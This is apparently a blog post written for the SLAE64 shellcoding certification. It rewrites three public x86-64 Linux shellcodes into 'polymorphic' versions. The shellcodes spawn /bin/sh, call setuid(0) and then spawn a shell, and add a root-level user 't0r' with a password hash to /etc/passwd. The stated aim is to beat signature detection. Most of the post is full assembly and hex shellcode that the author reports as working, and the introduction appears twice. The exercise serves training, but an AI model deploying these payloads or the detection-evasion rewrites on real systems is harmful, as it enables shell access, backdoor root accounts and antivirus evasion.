This post is a continuation of a seven (7) part blog series as part of the SLAE64 certification challenge. You can read the previous blog posts using the links below.
Previous Posts:
The requirements for Assignment 6 are as follows:
For this assignment I chose the following three (3) shellcodes:
The code for this assignment can be found here:
https://github.com/blu3gl0w13/SLAE64/tree/master/assignment-6
Additional scripts created and used in this class can be found here:
https://github.com/blu3gl0w13/SLAE64/tree/master/scripts
Our first shellcode is found at http://shell-storm.org/shellcode/files/shellcode-76.php. You can find the code below. the first thing we notice is that this is code isn't in our easy to read INTEL format. So the first order of business is to rewrite the instruction into INTEL format. After that, we'll use our typical tricks to rewrite the instructions so that we change the resulting opcode. Remember though, we have to make sure it's not more than 150% larger than the original.
Here's the rewritten copy. We add a CLD instruction and then use a MUL instruction to initialize RAX. Near the end of the first system call, we'll use a DEC instruction to setup RAX how we need to for our EXECVE system call.
So all that's left is to compile, throw it into a C program, calculate the length, and make sure it runs. We can see it's only 45 bytes which is less than our 150% requirement (49.5 bytes).

Excellent. The next shellcode we chose is located at: http://shell-storm.org/shellcode/files/shellcode-77.php. We'll attempt to accomplish the same task. We'll rewrite the original with different instructions but to perform the same task as the original.
As we examine our polymorphed version we also have to convert it to INTEL format. We'll use PUSH, POP, and DEC to setup our first argument to define __NR_setuid 105. The MUL instruction helps us initialize RAX before we copy 0x69 into AL. This should change up the initial opcode enough to fool any signature detection technologies. Assuming it's looking at the first set of instructions.
Next, we run our script and make sure it not only works but is small enough to fulfill our requirements. Excellent, it not only works but it's only 55 bytes out of the max 73.5 bytes limit imposed by our requiremnets.

The next shellcode we chose is quite a bit larger. It can be found here: http://shell-storm.org/shellcode/files/shellcode-801.php. The larger the code, the more we can do with it and the less we'll have to worry about our size restriction of our final polymorphed version. Here's the original code.
Our polymorphed code is below. Let's talk about this a bit to explain what we did to polymorph the original code and to make sure it executes and meets our size restrictions. This shellcode is going to add a new user to /etc/passwd and will assign this user to the root real UID and the root effective UID. To start, I chose a PUSH, POP, and DEC technique to initialize our registers for our first system call. I use this technique again to setup RSI in the second system call after using the MUL instruction to initialize RAX. If you're not sure by this point in the series what this does to RAX, I encourage you to read the INTEL developer manual.
When we run this polymophed version, we see that it does in fact at the user t0r to /etc/passwd. We also notice it's now 201 bytes long which is under our limit of 283 bytes. We also changed the shellcode at the beginning of the original code with the hopes it bypasses any signature checking technology.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: SLAE64 - 1439
Next: SLAE64 - Assignment 7
Previous Posts:
- SLAE64 - Assignment 1
- SLAE64 - Assignment 2
- SLAE64 - Assignment 3
- SLAE64 - Assignment 4
- SLAE64 - Assignment 5
The requirements for Assignment 6 are as follows:
- Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger 150% of the existing shellcode
- Bonus points for making it shorter in length than original
For this assignment I chose the following three (3) shellcodes:
- http://shell-storm.org/shellcode/files/shellcode-76.php - 33 bytes
- http://shell-storm.org/shellcode/files/shellcode-77.php - 49 bytes
- http://shell-storm.org/shellcode/files/shellcode-801.php - 189 bytes
The code for this assignment can be found here:
https://github.com/blu3gl0w13/SLAE64/tree/master/assignment-6
Additional scripts created and used in this class can be found here:
https://github.com/blu3gl0w13/SLAE64/tree/master/scripts
Our first shellcode is found at http://shell-storm.org/shellcode/files/shellcode-76.php. You can find the code below. the first thing we notice is that this is code isn't in our easy to read INTEL format. So the first order of business is to rewrite the instruction into INTEL format. After that, we'll use our typical tricks to rewrite the instructions so that we change the resulting opcode. Remember though, we have to make sure it's not more than 150% larger than the original.
# [Linux/X86-64]
# Dummy for shellcode:
# execve("/bin/sh", ["/bin/sh"], NULL)
# hophet [at] gmail.com
.text
.globl _start
_start:
xorq %rdx, %rdx
movq $0x68732f6e69622fff,%rbx
shr $0x8, %rbx
push %rbx
movq %rsp,%rdi
xorq %rax,%rax
pushq %rax
pushq %rdi
movq %rsp,%rsi
mov $0x3b,%al # execve(3b)
syscall
pushq $0x1
pop %rdi
pushq $0x3c # exit(3c)
pop %rax
syscall
Here's the rewritten copy. We add a CLD instruction and then use a MUL instruction to initialize RAX. Near the end of the first system call, we'll use a DEC instruction to setup RAX how we need to for our EXECVE system call.
; Original Author Information:
; [Linux/X86-64]
; Dummy for shellcode:
; execve("/bin/sh", ["/bin/sh"], NULL)
; hophet [at] gmail.com
;
; shellcode-76-poly.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016
global _start
section .text
_start:
xor rdx, rdx
cld
mul rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3c ; execve(3b)
dec rax
syscall
push 0x1
pop rdi
push 0x3c ; exit(3c)
pop rax
syscall
So all that's left is to compile, throw it into a C program, calculate the length, and make sure it runs. We can see it's only 45 bytes which is less than our 150% requirement (49.5 bytes).

Excellent. The next shellcode we chose is located at: http://shell-storm.org/shellcode/files/shellcode-77.php. We'll attempt to accomplish the same task. We'll rewrite the original with different instructions but to perform the same task as the original.
/*
setuid(0) + execve(/bin/sh) - just 4 fun.
xi4oyu [at] 80sec.com
main(){
__asm( "xorq %rdi,%rdi\n\t"
"mov $0x69,%al\n\t"
"syscall \n\t"
"xorq %rdx, %rdx \n\t"
"movq $0x68732f6e69622fff,%rbx; \n\t"
"shr $0x8, %rbx; \n\t"
"push %rbx; \n\t"
"movq %rsp,%rdi; \n\t"
"xorq %rax,%rax; \n\t"
"pushq %rax; \n\t"
"pushq %rdi; \n\t"
"movq %rsp,%rsi; \n\t"
"mov $0x3b,%al; \n\t"
"syscall ; \n\t"
"pushq $0x1 ; \n\t"
"pop %rdi ; \n\t"
"pushq $0x3c ; \n\t"
"pop %rax ; \n\t"
"syscall ; \n\t"
);
}
*/
main() {
char shellcode[] =
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31"
"\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c"
"\x58\x0f\x05";
(*(void (*)()) shellcode)();
}
2009-05-14
evil.xi4oyu
As we examine our polymorphed version we also have to convert it to INTEL format. We'll use PUSH, POP, and DEC to setup our first argument to define __NR_setuid 105. The MUL instruction helps us initialize RAX before we copy 0x69 into AL. This should change up the initial opcode enough to fool any signature detection technologies. Assuming it's looking at the first set of instructions.
; Original Author Info:
; setuid(0) + execve(/bin/sh) - just 4 fun.
; xi4oyu [at] 80sec.com
;
; shellcode-77-poly.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016
;
global _start
section .text
_start:
push 0x1
pop rdi
dec rdi
mul rdi
mov al, 0x69
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
mul rdx
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
push 0x1
pop rdi
push 0x3c
pop rax
syscall
Next, we run our script and make sure it not only works but is small enough to fulfill our requirements. Excellent, it not only works but it's only 55 bytes out of the max 73.5 bytes limit imposed by our requiremnets.

The next shellcode we chose is quite a bit larger. It can be found here: http://shell-storm.org/shellcode/files/shellcode-801.php. The larger the code, the more we can do with it and the less we'll have to worry about our size restriction of our final polymorphed version. Here's the original code.
;sc_adduser01.S
;Arch: x86_64, Linux
;
;Author: 0_o -- null_null
; nu11.nu11 [at] yahoo.com
;Date: 2012-03-05
;
;compile an executable: nasm -f elf64 sc_adduser.S
; ld -o sc_adduser sc_adduser.o
;compile an object: nasm -o sc_adduser_obj sc_adduser.S
;
;Purpose: adds user "t0r" with password "Winner" to /etc/passwd
;executed syscalls: setreuid, setregid, open, write, close, exit
;Result: t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
;syscall op codes: /usr/include/x86_64-linux-gnu/asm/unistd_64.h
BITS 64
[SECTION .text]
global _start
_start:
;sys_setreuid(uint ruid, uint euid)
xor rax, rax
mov al, 113 ;syscall sys_setreuid
xor rbx, rbx ;arg 1 -- set real uid to root
mov rcx, rbx ;arg 2 -- set effective uid to root
syscall
;sys_setregid(uint rgid, uint egid)
xor rax, rax
mov al, 114 ;syscall sys_setregid
xor rbx, rbx ;arg 1 -- set real uid to root
mov rcx, rbx ;arg 2 -- set effective uid to root
syscall
;push all strings on the stack prior to file operations.
xor rbx, rbx
mov ebx, 0x647773FF
shr rbx, 8
push rbx ;string \00dws
mov rbx, 0x7361702f6374652f
push rbx ;string sap/cte/
mov rbx, 0x0A687361622F6EFF
shr rbx, 8
push rbx ;string \00\nhsab/n
mov rbx, 0x69622F3A746F6F72
push rbx ;string ib/:toor
mov rbx, 0x2F3A3A303A303A67
push rbx ;string /::0:0:g
mov rbx, 0x46556B554B587435
push rbx ;string FUkUKXt5
mov rbx, 0x546755333A723074
push rbx ;string TgU3:r0t
;prelude to doing anything useful...
mov rbx, rsp ;save stack pointer for later use
push rbp ;store base pointer to stack so it can be restored later
mov rbp, rsp ;set base pointer to current stack pointer
;sys_open(char* fname, int flags, int mode)
sub rsp, 16
mov [rbp - 16], rbx ;store pointer to "t0r..../bash"
mov si, 0x0401 ;arg 2 -- flags
mov rdi, rbx
add rdi, 40 ;arg 1 -- pointer to "/etc/passwd"
xor rax, rax
mov al, 2 ;syscall sys_open
syscall
;sys_write(uint fd, char* buf, uint size)
mov [rbp - 4], eax ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
mov rcx, rbx ;arg 2 -- load rcx with pointer to string "t0r.../bash"
xor rdx, rdx
mov dl, 39 ;arg 3 -- load rdx with size of string "t0r.../bash\00"
mov rsi, rcx ;arg 2 -- move to source index register
mov rdi, rax ;arg 1 -- move to destination index register
xor rax, rax
mov al, 1 ;syscall sys_write
syscall
;sys_close(uint fd)
xor rdi, rdi
mov edi, [rbp - 4] ;arg 1 -- load stored file descriptor to destination index register
xor rax, rax
mov al, 3 ;syscall sys_close
syscall
;sys_exit(int err_code)
xor rax, rax
mov al, 60 ;syscall sys_exit
xor rbx, rbx ;arg 1 -- error code
syscall
;char shellcode[] =
; "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31"
; "\xc0\xb0\x72\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31\xdb\xbb"
; "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
; "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
; "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
; "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
; "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
; "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
; "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
; "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
; "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
; "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
; "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";
;
;equivalent code:
;
;char shellcode[] =
; "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31"
; "\xc0\xb0\x72\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31\xdb\xbb"
; "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
; "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
; "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
; "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
; "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
; "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
; "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
; "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
; "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
; "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
; "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";
Our polymorphed code is below. Let's talk about this a bit to explain what we did to polymorph the original code and to make sure it executes and meets our size restrictions. This shellcode is going to add a new user to /etc/passwd and will assign this user to the root real UID and the root effective UID. To start, I chose a PUSH, POP, and DEC technique to initialize our registers for our first system call. I use this technique again to setup RSI in the second system call after using the MUL instruction to initialize RAX. If you're not sure by this point in the series what this does to RAX, I encourage you to read the INTEL developer manual.
; Original Author Information:
; sc_adduser01.S
; Arch: x86_64, Linux
;
; Author: 0_o -- null_null
; nu11.nu11 [at] yahoo.com
; Date: 2012-03-05
;
; compile an executable: nasm -f elf64 sc_adduser.S
; ld -o sc_adduser sc_adduser.o
; compile an object: nasm -o sc_adduser_obj sc_adduser.S
;
; Purpose: adds user "t0r" with password "Winner" to /etc/passwd
; executed syscalls: setreuid, setregid, open, write, close, exit
; Result: t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
; syscall op codes: /usr/include/x86_64-linux-gnu/asm/unistd_64.h
;
; shellcode-801-poly.nasm
; by Michael Born (@blu3gl0w13)
; Student ID: SLAE64-1439
; November 8, 2016
;
global _start
section .text
_start:
;sys_setreuid(uint ruid, uint euid)
push 0x1
pop rax
dec rax
mov al, 113 ;syscall sys_setreuid
xor rdi, rdi ;arg 1 -- set real uid to root
mov rsi, rdi ;arg 2 -- set effective uid to root
syscall
;sys_setregid(uint rgid, uint egid)
xor rdi, rdi ;arg 1 -- set real uid to root
mul rdi
mov al, 114 ;syscall sys_setregid
push 0x1
pop rsi
dec rsi ;arg 2 -- set effective uid to root
syscall
;push all strings on the stack prior to file operations.
push 0x2
pop rbx
dec rbx
dec rbx
mov ebx, 0x647773FF
shr rbx, 8
push rbx ;string \00dws
mov rbx, 0x7361702f6374652f
push rbx ;string sap/cte/
mov rbx, 0x0A687361622F6EFF
shr rbx, 8
push rbx ;string \00\nhsab/n
mov rbx, 0x69622F3A746F6F72
push rbx ;string ib/:toor
mov rbx, 0x2F3A3A303A303A67
push rbx ;string /::0:0:g
mov rbx, 0x46556B554B587435
push rbx ;string FUkUKXt5
mov rbx, 0x546755333A723074
push rbx ;string TgU3:r0t
;prelude to doing anything useful...
mov rbx, rsp ;save stack pointer for later use
push rbp ;store base pointer to stack so it can be restored later
mov rbp, rsp ;set base pointer to current stack pointer
;sys_open(char* fname, int flags, int mode)
sub rsp, 16
mov [rbp - 16], rbx ;store pointer to "t0r..../bash"
mov si, 0x0401 ;arg 2 -- flags
mov rdi, rbx
add rdi, 40 ;arg 1 -- pointer to "/etc/passwd"
xor rax, rax
mov al, 2 ;syscall sys_open
syscall
;sys_write(uint fd, char* buf, uint size)
mov [rbp - 4], eax ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
mov rcx, rbx ;arg 2 -- load rcx with pointer to string "t0r.../bash"
xor rdx, rdx
mov dl, 39 ;arg 3 -- load rdx with size of string "t0r.../bash\00"
mov rsi, rcx ;arg 2 -- move to source index register
mov rdi, rax ;arg 1 -- move to destination index register
xor rax, rax
mov al, 1 ;syscall sys_write
syscall
;sys_close(uint fd)
xor rdi, rdi
mov edi, [rbp - 4] ;arg 1 -- load stored file descriptor to destination index register
xor rax, rax
mov al, 3 ;syscall sys_close
syscall
;sys_exit(int err_code)
xor rax, rax
mov al, 60 ;syscall sys_exit
xor rbx, rbx ;arg 1 -- error code
syscall
When we run this polymophed version, we see that it does in fact at the user t0r to /etc/passwd. We also notice it's now 201 bytes long which is under our limit of 283 bytes. We also changed the shellcode at the beginning of the original code with the hopes it bypasses any signature checking technology.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64-bit certification:
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: SLAE64 - 1439
Next: SLAE64 - Assignment 7
Comments
Post a Comment
Please leave a comment. Keep it on topic and appropriate for all audiences.